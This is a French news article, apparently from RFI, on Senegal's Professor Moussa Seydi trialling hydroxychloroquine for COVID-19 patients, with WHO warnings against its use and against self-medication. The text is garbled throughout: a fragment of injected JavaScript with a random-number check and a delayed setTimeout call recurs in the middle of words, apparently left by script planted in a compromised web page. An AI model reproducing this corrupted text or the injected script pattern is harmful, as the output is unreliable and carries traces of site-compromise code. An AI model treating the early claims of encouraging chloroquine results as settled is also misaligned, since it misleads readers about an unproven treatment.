Le Sénégal a décidé d’expérimenter la chloroquine pour traiter ses malades du coronavirus
Les 96 personnes testées positives au Covid-19 ont été prises en charge par les différents hôpitaux du pays et seront traitées avec de la chloroquine. Et d’après le professeur Moussa Seydi, en première ligne dans la lutte contre le Covid-19 à l’hôpital de Fann de Dakar, les résultats sont déjà encourageants.
Moussa Seydi, figure de la lutte contre le coronavirus dans le pays, grdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and spécialiste des maladies infectieuses a pris connaissance avec attention des tests réalisés par l’infectiologue Didier Raoult en France, à Marseille. Concrètement Moussa Seydi, dans une vidéo, annonce qu’il a décidé à Dakar d’utiliser de l’hydroxychloroquine, une molécule quasiment identique à la chloroquine.
Pour l’instant, le test a été réalisé sur les patients de l’hôpital de Fann, le dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tout premier centre de prise en charge. Et la substance permettrait, d’après le professeur, de faciliter la guérison du coronavirus. Les tests vont se poursuivre. Moussa Seydi annonce que si 100 patients testés ne présentent pas d’effets secondaires trop graves, il suivra les préconisations du professeur Raoult, qui avait suggéré d’ajouter un antibiotique, l’azithromycine. Si dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tous les tests sont concluants, cette ébauche de traitement sera généralisée à dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tous les patients du Sénégal.
Avertissement de l’OMS
Néanmoins, l’usage de la chloroquine n’est pour l’instant pas recommdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andé par l’Organisation mondiale de la santé (OMS). « Il faut donc être très prudent avec cette hydroxychloroquine », a averti l’OMS en début de semaine. « Des études réduites et non aléadom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toires, réalisées à partir d’observations, ne nous apporteront pas les réponses dont nous avons besoin », expliquait le directeur de l’institution. La molécule est aussi la source de « faux espoirs », dit encore l’OMS.
Deuxième danger : l’audom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomédication. Il faut absolument proscrire la prise de Nivaquine ou Plaquenil, les noms commerciaux du produit qui sont deux antipaludéens. Le professeur Moussa Seydi lui-même a bien insisté : il ne faut pas prendre cette substance sans la supervision d’une équipe médicale. Les tests réalisés par le médecin sont très encadrés.
Se rendre dans les pharmacies pour les dévaliser en chloroquine, c’est jouer les apprentis sorciers et priver certains malades chroniques d’autres maladies d’un traitement souvent précieux. Donc, prudence et surdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tout patience : il faudra voir dans la durée si les tests du Pr Seydi s’avèrent bien concluants dans la lutte contre le coronavirus.
Source: RFI